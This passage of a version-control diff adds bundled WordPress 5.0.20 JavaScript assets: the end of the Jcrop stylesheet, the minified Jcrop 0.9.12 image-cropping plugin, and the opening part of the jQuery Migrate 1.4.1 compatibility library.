+.jcrop-handle.ord-nw{left:0;margin-left:-4px;margin-top:-4px;top:0;}
+.jcrop-handle.ord-ne{margin-right:-4px;margin-top:-4px;right:0;top:0;}
+.jcrop-handle.ord-se{bottom:0;margin-bottom:-4px;margin-right:-4px;right:0;}
+.jcrop-handle.ord-sw{bottom:0;left:0;margin-bottom:-4px;margin-left:-4px;}
+.jcrop-dragbar.ord-n,.jcrop-dragbar.ord-s{height:7px;width:100%;}
+.jcrop-dragbar.ord-e,.jcrop-dragbar.ord-w{height:100%;width:7px;}
+.jcrop-dragbar.ord-n{margin-top:-4px;}
+.jcrop-dragbar.ord-s{bottom:0;margin-bottom:-4px;}
+.jcrop-dragbar.ord-e{margin-right:-4px;right:0;}
+.jcrop-dragbar.ord-w{margin-left:-4px;}
+.jcrop-light .jcrop-vline,.jcrop-light .jcrop-hline{background:#FFF;filter:alpha(opacity=70)!important;opacity:.70!important;}
+.jcrop-light .jcrop-handle{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#000;border-color:#FFF;border-radius:3px;}
+.jcrop-dark .jcrop-vline,.jcrop-dark .jcrop-hline{background:#000;filter:alpha(opacity=70)!important;opacity:.7!important;}
+.jcrop-dark .jcrop-handle{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#FFF;border-color:#000;border-radius:3px;}
+.solid-line .jcrop-vline,.solid-line .jcrop-hline{background:#FFF;}
+.jcrop-holder img,img.jcrop-preview{max-width:none;}
Index: /tags/5.0.20/src/wp-includes/js/jcrop/jquery.Jcrop.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jcrop/jquery.Jcrop.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jcrop/jquery.Jcrop.min.js	(revision 56912)
@@ -0,0 +1,22 @@
+/**
+ * jquery.Jcrop.min.js v0.9.12 (build:20130202)
+ * jQuery Image Cropping Plugin - released under MIT License
+ * Copyright (c) 2008-2013 Tapmodo Interactive LLC
+ * https://github.com/tapmodo/Jcrop
+ */
+(function(a){a.Jcrop=function(b,c){function i(a){return Math.round(a)+"px"}function j(a){return d.baseClass+"-"+a}function k(){return a.fx.step.hasOwnProperty("backgroundColor")}function l(b){var c=a(b).offset();return[c.left,c.top]}function m(a){return[a.pageX-e[0],a.pageY-e[1]]}function n(b){typeof b!="object"&&(b={}),d=a.extend(d,b),a.each(["onChange","onSelect","onRelease","onDblClick"],function(a,b){typeof d[b]!="function"&&(d[b]=function(){})})}function o(a,b,c){e=l(D),bc.setCursor(a==="move"?a:a+"-resize");if(a==="move")return bc.activateHandlers(q(b),v,c);var d=_.getFixed(),f=r(a),g=_.getCorner(r(f));_.setPressed(_.getCorner(f)),_.setCurrent(g),bc.activateHandlers(p(a,d),v,c)}function p(a,b){return function(c){if(!d.aspectRatio)switch(a){case"e":c[1]=b.y2;break;case"w":c[1]=b.y2;break;case"n":c[0]=b.x2;break;case"s":c[0]=b.x2}else switch(a){case"e":c[1]=b.y+1;break;case"w":c[1]=b.y+1;break;case"n":c[0]=b.x+1;break;case"s":c[0]=b.x+1}_.setCurrent(c),bb.update()}}function q(a){var b=a;return bd.watchKeys
+(),function(a){_.moveOffset([a[0]-b[0],a[1]-b[1]]),b=a,bb.update()}}function r(a){switch(a){case"n":return"sw";case"s":return"nw";case"e":return"nw";case"w":return"ne";case"ne":return"sw";case"nw":return"se";case"se":return"nw";case"sw":return"ne"}}function s(a){return function(b){return d.disabled?!1:a==="move"&&!d.allowMove?!1:(e=l(D),W=!0,o(a,m(b)),b.stopPropagation(),b.preventDefault(),!1)}}function t(a,b,c){var d=a.width(),e=a.height();d>b&&b>0&&(d=b,e=b/a.width()*a.height()),e>c&&c>0&&(e=c,d=c/a.height()*a.width()),T=a.width()/d,U=a.height()/e,a.width(d).height(e)}function u(a){return{x:a.x*T,y:a.y*U,x2:a.x2*T,y2:a.y2*U,w:a.w*T,h:a.h*U}}function v(a){var b=_.getFixed();b.w>d.minSelect[0]&&b.h>d.minSelect[1]?(bb.enableHandles(),bb.done()):bb.release(),bc.setCursor(d.allowSelect?"crosshair":"default")}function w(a){if(d.disabled)return!1;if(!d.allowSelect)return!1;W=!0,e=l(D),bb.disableHandles(),bc.setCursor("crosshair");var b=m(a);return _.setPressed(b),bb.update(),bc.activateHandlers(x,v,a.type.substring
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+b.x2,b.y];case"nw":return[b.x,b.y];case"se":return[b.x2,b.y2];case"sw":return[b.x,b.y2]}}function m(){if(!d.aspectRatio)return p();var f=d.aspectRatio,g=d.minSize[0]/T,h=d.maxSize[0]/T,i=d.maxSize[1]/U,j=c-a,k=e-b,l=Math.abs(j),m=Math.abs(k),n=l/m,r,s,t,u;return h===0&&(h=E*10),i===0&&(i=F*10),n<f?(s=e,t=m*f,r=j<0?a-t:t+a,r<0?(r=0,u=Math.abs((r-a)/f),s=k<0?b-u:u+b):r>E&&(r=E,u=Math.abs((r-a)/f),s=k<0?b-u:u+b)):(r=c,u=l/f,s=k<0?b-u:b+u,s<0?(s=0,t=Math.abs((s-b)*f),r=j<0?a-t:t+a):s>F&&(s=F,t=Math.abs(s-b)*f,r=j<0?a-t:t+a)),r>a?(r-a<g?r=a+g:r-a>h&&(r=a+h),s>b?s=b+(r-a)/f:s=b-(r-a)/f):r<a&&(a-r<g?r=a-g:a-r>h&&(r=a-h),s>b?s=b+(a-r)/f:s=b-(a-r)/f),r<0?(a-=r,r=0):r>E&&(a-=r-E,r=E),s<0?(b-=s,s=0):s>F&&(b-=s-F,s=F),q(o(a,b,r,s))}function n(a){return a[0]<0&&(a[0]=0),a[1]<0&&(a[1]=0),a[0]>E&&(a[0]=E),a[1]>F&&(a[1]=F),[Math.round(a[0]),Math.round(a[1])]}function o(a,b,c,d){var e=a,f=c,g=b,h=d;return c<a&&(e=c,f=a),d<b&&(g=d,h=b),[e,g,f,h]}function p(){var d=c-a,f=e-b,g;return P&&Math.abs(d)>P&&(c=d>0?a+P:a-P),Q&&Math.abs
+(f)>Q&&(e=f>0?b+Q:b-Q),S/U&&Math.abs(f)<S/U&&(e=f>0?b+S/U:b-S/U),R/T&&Math.abs(d)<R/T&&(c=d>0?a+R/T:a-R/T),a<0&&(c-=a,a-=a),b<0&&(e-=b,b-=b),c<0&&(a-=c,c-=c),e<0&&(b-=e,e-=e),c>E&&(g=c-E,a-=g,c-=g),e>F&&(g=e-F,b-=g,e-=g),a>E&&(g=a-F,e-=g,b-=g),b>F&&(g=b-F,e-=g,b-=g),q(o(a,b,c,e))}function q(a){return{x:a[0],y:a[1],x2:a[2],y2:a[3],w:a[2]-a[0],h:a[3]-a[1]}}var a=0,b=0,c=0,e=0,f,g;return{flipCoords:o,setPressed:h,setCurrent:i,getOffset:j,moveOffset:k,getCorner:l,getFixed:m}}(),ba=function(){function f(a,b){e.left.css({height:i(b)}),e.right.css({height:i(b)})}function g(){return h(_.getFixed())}function h(a){e.top.css({left:i(a.x),width:i(a.w),height:i(a.y)}),e.bottom.css({top:i(a.y2),left:i(a.x),width:i(a.w),height:i(F-a.y2)}),e.right.css({left:i(a.x2),width:i(E-a.x2)}),e.left.css({width:i(a.x)})}function j(){return a("<div />").css({position:"absolute",backgroundColor:d.shadeColor||d.bgColor}).appendTo(c)}function k(){b||(b=!0,c.insertBefore(D),g(),bb.setBgOpacity(1,0,1),H.hide(),l(d.shadeColor||d.bgColor,1),bb.
+isAwake()?n(d.bgOpacity,1):n(1,1))}function l(a,b){bq(p(),a,b)}function m(){b&&(c.remove(),H.show(),b=!1,bb.isAwake()?bb.setBgOpacity(d.bgOpacity,1,1):(bb.setBgOpacity(1,1,1),bb.disableHandles()),bq(G,0,1))}function n(a,e){b&&(d.bgFade&&!e?c.animate({opacity:1-a},{queue:!1,duration:d.fadeTime}):c.css({opacity:1-a}))}function o(){d.shade?k():m(),bb.isAwake()&&n(d.bgOpacity)}function p(){return c.children()}var b=!1,c=a("<div />").css({position:"absolute",zIndex:240,opacity:0}),e={top:j(),left:j().height(F),right:j().height(F),bottom:j()};return{update:g,updateRaw:h,getShades:p,setBgColor:l,enable:k,disable:m,resize:f,refresh:o,opacity:n}}(),bb=function(){function k(b){var c=a("<div />").css({position:"absolute",opacity:d.borderOpacity}).addClass(j(b));return I.append(c),c}function l(b,c){var d=a("<div />").mousedown(s(b)).css({cursor:b+"-resize",position:"absolute",zIndex:c}).addClass("ord-"+b);return Z.support&&d.bind("touchstart.jcrop",Z.createDragger(b)),J.append(d),d}function m(a){var b=d.handleSize,e=l(a,c++
+).css({opacity:d.handleOpacity}).addClass(j("handle"));return b&&e.width(b).height(b),e}function n(a){return l(a,c++).addClass("jcrop-dragbar")}function o(a){var b;for(b=0;b<a.length;b++)g[a[b]]=n(a[b])}function p(a){var b,c;for(c=0;c<a.length;c++){switch(a[c]){case"n":b="hline";break;case"s":b="hline bottom";break;case"e":b="vline right";break;case"w":b="vline"}e[a[c]]=k(b)}}function q(a){var b;for(b=0;b<a.length;b++)f[a[b]]=m(a[b])}function r(a,b){d.shade||H.css({top:i(-b),left:i(-a)}),K.css({top:i(b),left:i(a)})}function t(a,b){K.width(Math.round(a)).height(Math.round(b))}function v(){var a=_.getFixed();_.setPressed([a.x,a.y]),_.setCurrent([a.x2,a.y2]),w()}function w(a){if(b)return x(a)}function x(a){var c=_.getFixed();t(c.w,c.h),r(c.x,c.y),d.shade&&ba.updateRaw(c),b||A(),a?d.onSelect.call(bs,u(c)):d.onChange.call(bs,u(c))}function z(a,c,e){if(!b&&!c)return;d.bgFade&&!e?D.animate({opacity:a},{queue:!1,duration:d.fadeTime}):D.css("opacity",a)}function A(){K.show(),d.shade?ba.opacity(O):z(O,!0),b=!0}function B
+(){F(),K.hide(),d.shade?ba.opacity(1):z(1),b=!1,d.onRelease.call(bs)}function C(){h&&J.show()}function E(){h=!0;if(d.allowResize)return J.show(),!0}function F(){h=!1,J.hide()}function G(a){a?(X=!0,F()):(X=!1,E())}function L(){G(!1),v()}var b,c=370,e={},f={},g={},h=!1;d.dragEdges&&a.isArray(d.createDragbars)&&o(d.createDragbars),a.isArray(d.createHandles)&&q(d.createHandles),d.drawBorders&&a.isArray(d.createBorders)&&p(d.createBorders),a(document).bind("touchstart.jcrop-ios",function(b){a(b.currentTarget).hasClass("jcrop-tracker")&&b.stopPropagation()});var M=y().mousedown(s("move")).css({cursor:"move",position:"absolute",zIndex:360});return Z.support&&M.bind("touchstart.jcrop",Z.createDragger("move")),I.append(M),F(),{updateVisible:w,update:x,release:B,refresh:v,isAwake:function(){return b},setCursor:function(a){M.css("cursor",a)},enableHandles:E,enableOnly:function(){h=!0},showHandles:C,disableHandles:F,animMode:G,setBgOpacity:z,done:L}}(),bc=function(){function f(b){M.css({zIndex:450}),b?a(document).bind("touchmove.jcrop"
+,k).bind("touchend.jcrop",l):e&&a(document).bind("mousemove.jcrop",h).bind("mouseup.jcrop",i)}function g(){M.css({zIndex:290}),a(document).unbind(".jcrop")}function h(a){return b(m(a)),!1}function i(a){return a.preventDefault(),a.stopPropagation(),W&&(W=!1,c(m(a)),bb.isAwake()&&d.onSelect.call(bs,u(_.getFixed())),g(),b=function(){},c=function(){}),!1}function j(a,d,e){return W=!0,b=a,c=d,f(e),!1}function k(a){return b(m(Z.cfilter(a))),!1}function l(a){return i(Z.cfilter(a))}function n(a){M.css("cursor",a)}var b=function(){},c=function(){},e=d.trackDocument;return e||M.mousemove(h).mouseup(i).mouseout(i),D.before(M),{activateHandlers:j,setCursor:n}}(),bd=function(){function e(){d.keySupport&&(b.show(),b.focus())}function f(a){b.hide()}function g(a,b,c){d.allowMove&&(_.moveOffset([b,c]),bb.updateVisible(!0)),a.preventDefault(),a.stopPropagation()}function i(a){if(a.ctrlKey||a.metaKey)return!0;Y=a.shiftKey?!0:!1;var b=Y?10:1;switch(a.keyCode){case 37:g(a,-b,0);break;case 39:g(a,b,0);break;case 38:g(a,0,-b);break;
+case 40:g(a,0,b);break;case 27:d.allowSelect&&bb.release();break;case 9:return!0}return!1}var b=a('<input type="radio" />').css({position:"fixed",left:"-120px",width:"12px"}).addClass("jcrop-keymgr"),c=a("<div />").css({position:"absolute",overflow:"hidden"}).append(b);return d.keySupport&&(b.keydown(i).blur(f),h||!d.fixedSupport?(b.css({position:"absolute",left:"-20px"}),c.append(b).insertBefore(D)):b.insertBefore(D)),{watchKeys:e}}();Z.support&&M.bind("touchstart.jcrop",Z.newSelection),J.hide(),br(!0);var bs={setImage:bp,animateTo:bf,setSelect:bg,setOptions:bk,tellSelect:bi,tellScaled:bj,setClass:be,disable:bl,enable:bm,cancel:bn,release:bb.release,destroy:bo,focus:bd.watchKeys,getBounds:function(){return[E*T,F*U]},getWidgetSize:function(){return[E,F]},getScaleFactor:function(){return[T,U]},getOptions:function(){return d},ui:{holder:G,selection:K}};return g&&G.bind("selectstart",function(){return!1}),A.data("Jcrop",bs),bs},a.fn.Jcrop=function(b,c){var d;return this.each(function(){if(a(this).data("Jcrop")){if(
+b==="api")return a(this).data("Jcrop");a(this).data("Jcrop").setOptions(b)}else this.tagName=="IMG"?a.Jcrop.Loader(this,function(){a(this).css({display:"block",visibility:"hidden"}),d=a.Jcrop(this,b),a.isFunction(c)&&c.call(d)}):(a(this).css({display:"block",visibility:"hidden"}),d=a.Jcrop(this,b),a.isFunction(c)&&c.call(d))}),this},a.Jcrop.Loader=function(b,c,d){function g(){f.complete?(e.unbind(".jcloader"),a.isFunction(c)&&c.call(f)):window.setTimeout(g,50)}var e=a(b),f=e[0];e.bind("load.jcloader",g).bind("error.jcloader",function(b){e.unbind(".jcloader"),a.isFunction(d)&&d.call(f)}),f.complete&&a.isFunction(c)&&(e.unbind(".jcloader"),c.call(f))},a.Jcrop.defaults={allowSelect:!0,allowMove:!0,allowResize:!0,trackDocument:!0,baseClass:"jcrop",addClass:null,bgColor:"black",bgOpacity:.6,bgFade:!1,borderOpacity:.4,handleOpacity:.5,handleSize:null,aspectRatio:0,keySupport:!0,createHandles:["n","s","e","w","nw","ne","se","sw"],createDragbars:["n","s","e","w"],createBorders:["n","s","e","w"],drawBorders:!0,dragEdges
+:!0,fixedSupport:!0,touchSupport:null,shade:null,boxWidth:0,boxHeight:0,boundary:2,fadeTime:400,animationDelay:20,swingSpeed:3,minSelect:[0,0],maxSize:[0,0],minSize:[0,0],onChange:function(){},onSelect:function(){},onDblClick:function(){},onRelease:function(){}}})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery-migrate.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery-migrate.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery-migrate.js	(revision 56912)
@@ -0,0 +1,752 @@
+/*!
+ * jQuery Migrate - v1.4.1 - 2016-05-19
+ * Copyright jQuery Foundation and other contributors
+ */
+(function( jQuery, window, undefined ) {
+// See http://bugs.jquery.com/ticket/13335
+// "use strict";
+
+
+jQuery.migrateVersion = "1.4.1";
+
+
+var warnedAbout = {};
+
+// List of warnings already given; public read only
+jQuery.migrateWarnings = [];
+
+// Set to true to prevent console output; migrateWarnings still maintained
+// jQuery.migrateMute = false;
+
+// Show a message on the console so devs know we're active
+if ( window.console && window.console.log ) {
+	window.console.log( "JQMIGRATE: Migrate is installed" +
+		( jQuery.migrateMute ? "" : " with logging active" ) +
+		", version " + jQuery.migrateVersion );
+}
+
+// Set to false to disable traces that appear with warnings
+if ( jQuery.migrateTrace === undefined ) {
+	jQuery.migrateTrace = true;
+}
+
+// Forget any warnings we've already given; public
+jQuery.migrateReset = function() {
+	warnedAbout = {};
+	jQuery.migrateWarnings.length = 0;
+};
+
+function migrateWarn( msg) {
+	var console = window.console;
+	if ( !warnedAbout[ msg ] ) {
+		warnedAbout[ msg ] = true;
+		jQuery.migrateWarnings.push( msg );
+		if ( console && console.warn && !jQuery.migrateMute ) {
+			console.warn( "JQMIGRATE: " + msg );
+			if ( jQuery.migrateTrace && console.trace ) {
+				console.trace();
+			}
+		}
+	}
+}
+
+function migrateWarnProp( obj, prop, value, msg ) {
+	if ( Object.defineProperty ) {
+		// On ES5 browsers (non-oldIE), warn if the code tries to get prop;
+		// allow property to be overwritten in case some other plugin wants it
+		try {
+			Object.defineProperty( obj, prop, {
+				configurable: true,
+				enumerable: true,
+				get: function() {
+					migrateWarn( msg );
+					return value;
+				},
+				set: function( newValue ) {
+					migrateWarn( msg );
+					value = newValue;
+				}
+			});
+			return;
+		} catch( err ) {
+			// IE8 is a dope about Object.defineProperty, can't warn there
+		}
+	}
+
+	// Non-ES5 (or broken) browser; just set the property
+	jQuery._definePropertyBroken = true;
+	obj[ prop ] = value;
+}
+
+if ( document.compatMode === "BackCompat" ) {
+	// jQuery has never supported or tested Quirks Mode
+	migrateWarn( "jQuery is not compatible with Quirks Mode" );
+}
+
+
+var attrFn = jQuery( "<input/>", { size: 1 } ).attr("size") && jQuery.attrFn,
+	oldAttr = jQuery.attr,
+	valueAttrGet = jQuery.attrHooks.value && jQuery.attrHooks.value.get ||
+		function() { return null; },
+	valueAttrSet = jQuery.attrHooks.value && jQuery.attrHooks.value.set ||
+		function() { return undefined; },
+	rnoType = /^(?:input|button)$/i,
+	rnoAttrNodeType = /^[238]$/,
+	rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
+	ruseDefault = /^(?:checked|selected)$/i;
+
+// jQuery.attrFn
+migrateWarnProp( jQuery, "attrFn", attrFn || {}, "jQuery.attrFn is deprecated" );
+
+jQuery.attr = function( elem, name, value, pass ) {
+	var lowerName = name.toLowerCase(),
+		nType = elem && elem.nodeType;
+
+	if ( pass ) {
+		// Since pass is used internally, we only warn for new jQuery
+		// versions where there isn't a pass arg in the formal params
+		if ( oldAttr.length < 4 ) {
+			migrateWarn("jQuery.fn.attr( props, pass ) is deprecated");
+		}
+		if ( elem && !rnoAttrNodeType.test( nType ) &&
+			(attrFn ? name in attrFn : jQuery.isFunction(jQuery.fn[name])) ) {
+			return jQuery( elem )[ name ]( value );
+		}
+	}
+
+	// Warn if user tries to set `type`, since it breaks on IE 6/7/8; by checking
+	// for disconnected elements we don't warn on $( "<button>", { type: "button" } ).
+	if ( name === "type" && value !== undefined && rnoType.test( elem.nodeName ) && elem.parentNode ) {
+		migrateWarn("Can't change the 'type' of an input or button in IE 6/7/8");
+	}
+
+	// Restore boolHook for boolean property/attribute synchronization
+	if ( !jQuery.attrHooks[ lowerName ] && rboolean.test( lowerName ) ) {
+		jQuery.attrHooks[ lowerName ] = {
+			get: function( elem, name ) {
+				// Align boolean attributes with corresponding properties
+				// Fall back to attribute presence where some booleans are not supported
+				var attrNode,
+					property = jQuery.prop( elem, name );
+				return property === true || typeof property !== "boolean" &&
+					( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?
+
+					name.toLowerCase() :
+					undefined;
+			},
+			set: function( elem, value, name ) {
+				var propName;
+				if ( value === false ) {
+					// Remove boolean attributes when set to false
+					jQuery.removeAttr( elem, name );
+				} else {
+					// value is true since we know at this point it's type boolean and not false
+					// Set boolean attributes to the same name and set the DOM property
+					propName = jQuery.propFix[ name ] || name;
+					if ( propName in elem ) {
+						// Only set the IDL specifically if it already exists on the element
+						elem[ propName ] = true;
+					}
+
+					elem.setAttribute( name, name.toLowerCase() );
+				}
+				return name;
+			}
+		};
+
+		// Warn only for attributes that can remain distinct from their properties post-1.9
+		if ( ruseDefault.test( lowerName ) ) {
+			migrateWarn( "jQuery.fn.attr('" + lowerName + "') might use property instead of attribute" );
+		}
+	}
+
+	return oldAttr.call( jQuery, elem, name, value );
+};
+
+// attrHooks: value
+jQuery.attrHooks.value = {
+	get: function( elem, name ) {
+		var nodeName = ( elem.nodeName || "" ).toLowerCase();
+		if ( nodeName === "button" ) {
+			return valueAttrGet.apply( this, arguments );
+		}
+		if ( nodeName !== "input" && nodeName !== "option" ) {
+			migrateWarn("jQuery.fn.attr('value') no longer gets properties");
+		}
+		return name in elem ?
+			elem.value :
+			null;
+	},
+	set: function( elem, value ) {
+		var nodeName = ( elem.nodeName || "" ).toLowerCase();
+		if ( nodeName === "button" ) {
+			return valueAttrSet.apply( this, arguments );
+		}
+		if ( nodeName !== "input" && nodeName !== "option" ) {
+			migrateWarn("jQuery.fn.attr('value', val) no longer sets properties");
+		}
+		// Does not return so that setAttribute is also used
+		elem.value = value;
+	}
+};
+
+
+var matched, browser,
+	oldInit = jQuery.fn.init,
+	oldFind = jQuery.find,
+	oldParseJSON = jQuery.parseJSON,
+	rspaceAngle = /^\s*</,
+	rattrHashTest = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,
+	rattrHashGlob = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,
+	// Note: XSS check is done below after string is trimmed
+	rquickExpr = /^([^<]*)(<[\w\W]+>)([^>]*)$/;
+
+// $(html) "looks like html" rule change
+jQuery.fn.init = function( selector, context, rootjQuery ) {
+	var match, ret;
+
+	if ( selector && typeof selector === "string" ) {
+		if ( !jQuery.isPlainObject( context ) &&
+				(match = rquickExpr.exec( jQuery.trim( selector ) )) && match[ 0 ] ) {
+
+			// This is an HTML string according to the "old" rules; is it still?
+			if ( !rspaceAngle.test( selector ) ) {
+				migrateWarn("$(html) HTML strings must start with '<' character");
+			}
+			if ( match[ 3 ] ) {
+				migrateWarn("$(html) HTML text after last tag is ignored");
+			}
+
+			// Consistently reject any HTML-like string starting with a hash (gh-9521)
+			// Note that this may break jQuery 1.6.x code that otherwise would work.
+			if ( match[ 0 ].charAt( 0 ) === "#" ) {
+				migrateWarn("HTML string cannot start with a '#' character");
+				jQuery.error("JQMIGRATE: Invalid selector string (XSS)");
+			}
+
+			// Now process using loose rules; let pre-1.8 play too
+			// Is this a jQuery context? parseHTML expects a DOM element (#178)
+			if ( context && context.context && context.context.nodeType ) {
+				context = context.context;
+			}
+
+			if ( jQuery.parseHTML ) {
+				return oldInit.call( this,
+						jQuery.parseHTML( match[ 2 ], context && context.ownerDocument ||
+							context || document, true ), context, rootjQuery );
+			}
+		}
+	}
+
+	ret = oldInit.apply( this, arguments );
+
+	// Fill in selector and context properties so .live() works
+	if ( selector && selector.selector !== undefined ) {
+		// A jQuery object, copy its properties
+		ret.selector = selector.selector;
+		ret.context = selector.context;
+
+	} else {
+		ret.selector = typeof selector === "string" ? selector : "";
+		if ( selector ) {
+			ret.context = selector.nodeType? selector : context || document;
+		}
+	}
+
+	return ret;
+};
+jQuery.fn.init.prototype = jQuery.fn;
+
+jQuery.find = function( selector ) {
+	var args = Array.prototype.slice.call( arguments );
+
+	// Support: PhantomJS 1.x
+	// String#match fails to match when used with a //g RegExp, only on some strings
+	if ( typeof selector === "string" && rattrHashTest.test( selector ) ) {
+
+		// The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0
+		// First see if qS thinks it's a valid selector, if so avoid a false positive
+		try {
+			document.querySelector( selector );
+		} catch ( err1 ) {
+
+			// Didn't *look* valid to qSA, warn and try quoting what we think is the value
+			selector = selector.replace( rattrHashGlob, function( _, attr, op, value ) {
+				return "[" + attr + op + "\"" + value + "\"]";
+			} );
+
+			// If the regexp *may* have created an invalid selector, don't update it
+			// Note that there may be false alarms if selector uses jQuery extensions
+			try {
+				document.querySelector( selector );
+				migrateWarn( "Attribute selector with '#' must be quoted: " + args[ 0 ] );
+				args[ 0 ] = selector;
+			} catch ( err2 ) {
+				migrateWarn( "Attribute selector with '#' was not fixed: " + args[ 0 ] );
+			}
+		}
+	}
+
+	return oldFind.apply( this, args );
+};
+
+// Copy properties attached to original jQuery.find method (e.g. .attr, .isXML)
+var findProp;
+for ( findProp in oldFind ) {
+	if ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) {
+		jQuery.find[ findProp ] = oldFind[ findProp ];
+	}
+}
+
+// Let $.parseJSON(falsy_value) return null
+jQuery.parseJSON = function( json ) {
+	if ( !json ) {
+		migrateWarn("jQuery.parseJSON requires a valid JSON string");
+		return null;
+	}
+	return oldParseJSON.apply( this, arguments );
+};
+
+jQuery.uaMatch = function( ua ) {
+	ua = ua.toLowerCase();
+
+	var match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
+		/(webkit)[ \/]([\w.]+)/.exec( ua ) ||
+		/(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
+		/(msie) ([\w.]+)/.exec( ua ) ||
+		ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) ||
+		[];
+
+	return {
+		browser: match[ 1 ] || "",
+		version: match[ 2 ] || "0"
+	};
+};
+
+// Don't clobber any existing jQuery.browser in case it's different
+if ( !jQuery.browser ) {
+	matched = jQuery.uaMatch( navigator.userAgent );
+	browser = {};
+
+	if ( matched.browser ) {
+		browser[ matched.browser ] = true;
+		browser.version = matched.version;
+	}
+
+	// Chrome is Webkit, but Webkit is also Safari.
+	if ( browser.chrome ) {
+		browser.webkit = true;
+	} else if ( browser.webkit ) {
+		browser.safari = true;
+	}
+
+	jQuery.browser = browser;
+}
+
+// Warn if the code tries to get jQuery.browser
+migrateWarnProp( jQuery, "browser", jQuery.browser, "jQuery.browser is deprecated" );
+
+// jQuery.boxModel deprecated in 1.3, jQuery.support.boxModel deprecated in 1.7
+jQuery.boxModel = jQuery.support.boxModel = (document.compatMode === "CSS1Compat");
+migrateWarnProp( jQuery, "boxModel", jQuery.boxModel, "jQuery.boxModel is deprecated" );
+migrateWarnProp( jQuery.support, "boxModel", jQuery.support.boxModel, "jQuery.support.boxModel is deprecated" );
+
+jQuery.sub = function() {
+	function jQuerySub( selector, context ) {
+		return new jQuerySub.fn.init( selector, context );
+	}
+	jQuery.extend( true, jQuerySub, this );
+	jQuerySub.superclass = this;
+	jQuerySub.fn = jQuerySub.prototype = this();
+	jQuerySub.fn.constructor = jQuerySub;
+	jQuerySub.sub = this.sub;
+	jQuerySub.fn.init = function init( selector, context ) {
+		var instance = jQuery.fn.init.call( this, selector, context, rootjQuerySub );
+		return instance instanceof jQuerySub ?
+			instance :
+			jQuerySub( instance );
+	};
+	jQuerySub.fn.init.prototype = jQuerySub.fn;
+	var rootjQuerySub = jQuerySub(document);
+	migrateWarn( "jQuery.sub() is deprecated" );
+	return jQuerySub;
+};
+
+// The number of elements contained in the matched element set
+jQuery.fn.size = function() {
+	migrateWarn( "jQuery.fn.size() is deprecated; use the .length property" );
+	return this.length;
+};
+
+
+var internalSwapCall = false;
+
+// If this version of jQuery has .swap(), don't false-alarm on internal uses
+if ( jQuery.swap ) {
+	jQuery.each( [ "height", "width", "reliableMarginRight" ], function( _, name ) {
+		var oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get;
+
+		if ( oldHook ) {
+			jQuery.cssHooks[ name ].get = function() {
+				var ret;
+
+				internalSwapCall = true;
+				ret = oldHook.apply( this, arguments );
+				internalSwapCall = false;
+				return ret;
+			};
+		}
+	});
+}
+
+jQuery.swap = function( elem, options, callback, args ) {
+	var ret, name,
+		old = {};
+
+	if ( !internalSwapCall ) {
+		migrateWarn( "jQuery.swap() is undocumented and deprecated" );
+	}
+
+	// Remember the old values, and insert the new ones
+	for ( name in options ) {
+		old[ name ] = elem.style[ name ];
+		elem.style[ name ] = options[ name ];
+	}
+
+	ret = callback.apply( elem, args || [] );
+
+	// Revert the old values
+	for ( name in options ) {
+		elem.style[ name ] = old[ name ];
+	}
+
+	return ret;
+};
+
+
+// Ensure that $.ajax gets the new parseJSON defined in core.js
+jQuery.ajaxSetup({
+	converters: {
+		"text json": jQuery.parseJSON
+	}
+});
+
+
+var oldFnData = jQuery.fn.data;
+
+jQuery.fn.data = function( name ) {
+	var ret, evt,
+		elem = this[0];
+
+	// Handles 1.7 which has this behavior and 1.8 which doesn't
+	if ( elem && name === "events" && arguments.length === 1 ) {
+		ret = jQuery.data( elem, name );
+		evt = jQuery._data( elem, name );
+		if ( ( ret === undefined || ret === evt ) && evt !== undefined ) {
+			migrateWarn("Use of jQuery.fn.data('events') is deprecated");
+			return evt;
+		}
+	}
+	return oldFnData.apply( this, arguments );
+};
+
+
+var rscriptType = /\/(java|ecma)script/i;
+
+// Since jQuery.clean is used internally on older versions, we only shim if it's missing
+if ( !jQuery.clean ) {
+	jQuery.clean = function( elems, context, fragment, scripts ) {
+		// Set context per 1.8 logic
+		context = context || document;
+		context = !context.nodeType && context[0] || context;
+		context = context.ownerDocument || context;
+
+		migrateWarn("jQuery.clean() is deprecated");
+
+		var i, elem, handleScript, jsTags,
+			ret = [];
+
+		jQuery.merge( ret, jQuery.buildFragment( elems, context ).childNodes );
+
+		// Complex logic lifted directly from jQuery 1.8
+		if ( fragment ) {
+			// Special handling of each script element
+			handleScript = function( elem ) {
+				// Check if we consider it executable
+				if ( !elem.type || rscriptType.test( elem.type ) ) {
+					// Detach the script and store it in the scripts array (if provided) or the fragment
+					// Return truthy to indicate that it has been handled
+					return scripts ?
+						scripts.push( elem.parentNode ? elem.parentNode.removeChild( elem ) : elem ) :
+						fragment.appendChild( elem );
+				}
+			};
+
+			for ( i = 0; (elem = ret[i]) != null; i++ ) {
+				// Check if we're done after handling an executable script
+				if ( !( jQuery.nodeName( elem, "script" ) && handleScript( elem ) ) ) {
+					// Append to fragment and handle embedded scripts
+					fragment.appendChild( elem );
+					if ( typeof elem.getElementsByTagName !== "undefined" ) {
+						// handleScript alters the DOM, so use jQuery.merge to ensure snapshot iteration
+						jsTags = jQuery.grep( jQuery.merge( [], elem.getElementsByTagName("script") ), handleScript );
+
+						// Splice the scripts into ret after their former ancestor and advance our index beyond them
+						ret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );
+						i += jsTags.length;
+					}
